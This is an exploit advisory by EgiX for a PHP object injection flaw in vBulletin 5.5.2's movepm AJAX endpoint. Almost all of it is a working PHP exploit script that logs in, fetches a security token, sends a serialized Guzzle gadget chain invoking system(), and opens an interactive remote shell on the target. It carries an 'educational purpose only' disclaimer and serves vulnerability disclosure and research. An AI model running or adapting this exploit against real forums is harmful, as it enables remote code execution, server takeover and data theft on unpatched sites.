vBulletin 5.5.2 PHP Object Injection

Credit: EgiX
Risk: High
Local: No
Remote: Yes

<?php /* -------------------------------------------------------------- vBulletin <= 5.5.2 (movepm) PHP Object Injection Vulnerability -------------------------------------------------------------- author..............: Egidio Romano aka EgiX mail................: n0b0d13s[at]gmail[dot]com software link.......: https://www.vbulletin.com +-------------------------------------------------------------------------+ | This proof of concept code was written for educational purpose only. | | Use it at your own risk. Author will be not responsible for any damage. | +-------------------------------------------------------------------------+ [-] Vulnerability Description: User input passed through the "messageids" request parameter to /ajax/api/vb4_private/movepm is not properly sanitized before being used in a call to the unserialize() PHP function. This can be exploited by malicious users to inject arbitrary PHP objects into the application scope, allowing them to carry out a variety of attacks, such as executing arbitrary PHP code. [-] Technical writeup: http://karmainsecurity.com/exploiting-an-nday-vbulletin-php-object-injection */ set_time_limit(0); error_reporting(E_ERROR); if (!extension_loaded("curl")) die("[+] cURL extension required!\n"); print "+------------------------------------------------------------------+"; print "\n| vBulletin <= 5.5.2 (movepm) PHP Object Injection Exploit by EgiX |"; print "\n+------------------------------------------------------------------+\n"; if ($argc != 4) { print "\nUsage......: php $argv[0] <URL> <Username> <Password>\n"; print "\nExample....: php $argv[0] http://localhost/vb/ user passwd"; print "\nExample....: php $argv[0] https://vbulletin.com/ evil hacker\n\n"; die(); } class googlelogin_vendor_autoload {} // fake class to include the autoloader class GuzzleHttp_HandlerStack { private $handler, $stack; function __construct($cmd) { $this->stack = [["system"]]; // the callback we want to execute $this->handler = $cmd; // argument for the callback } } class GuzzleHttp_Psr7_FnStream { function __construct($callback) { $this->_fn_close = $callback; } } function make_popchain($cmd) { $pop = new GuzzleHttp_HandlerStack($cmd); $pop = new GuzzleHttp_Psr7_FnStream([$pop, 'resolve']); $chain = serialize([new googlelogin_vendor_autoload, $pop]); $chain = str_replace(['s:', chr(0)], ['S:', '\00'], $chain); $chain = str_replace('GuzzleHttp_HandlerStack', 'GuzzleHttp\HandlerStack', $chain); $chain = str_replace('GuzzleHttp_Psr7_FnStream', 'GuzzleHttp\Psr7\FnStream', $chain); $chain = str_replace('0GuzzleHttp\HandlerStack', '0GuzzleHttp\5CHandlerStack', $chain); return $chain; } list($url, $user, $pass) = [$argv[1], $argv[2], $argv[3]]; $ch = curl_init(); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, true); print "[+] Logging in with username '{$user}' and password '{$pass}'\n"; curl_setopt($ch, CURLOPT_URL, $url); if (!preg_match("/Cookie: .*sessionhash=[^;]+/", curl_exec($ch), $sid)) die("[+] Session ID not found!\n"); curl_setopt($ch, CURLOPT_URL, "{$url}?routestring=auth/login"); curl_setopt($ch, CURLOPT_HTTPHEADER, $sid); curl_setopt($ch, CURLOPT_POSTFIELDS, "username={$user}&password={$pass}"); if (!preg_match("/Cookie: .*sessionhash=[^;]+/", curl_exec($ch), $sid)) die("[+] Login failed!\n"); print "[+] Logged-in! Retrieving security token\n"; curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, false); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_HTTPHEADER, $sid); if (!preg_match('/token": "([^"]+)"/', curl_exec($ch), $token)) die("[+] Security token not found!\n"); $params = ["routestring" => "ajax/api/vb4_private/movepm", "securitytoken" => $token[1], "folderid" => 1]; print "[+] Launching shell\n"; while(1) { print "\nvb-shell# "; if (($cmd = trim(fgets(STDIN))) == "exit") break; $params["messageids"] = make_popchain($cmd); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params)); preg_match('/(.*){"response":/s', curl_exec($ch), $m) ? print $m[1] : die("\n[+] Exploit failed!\n"); }

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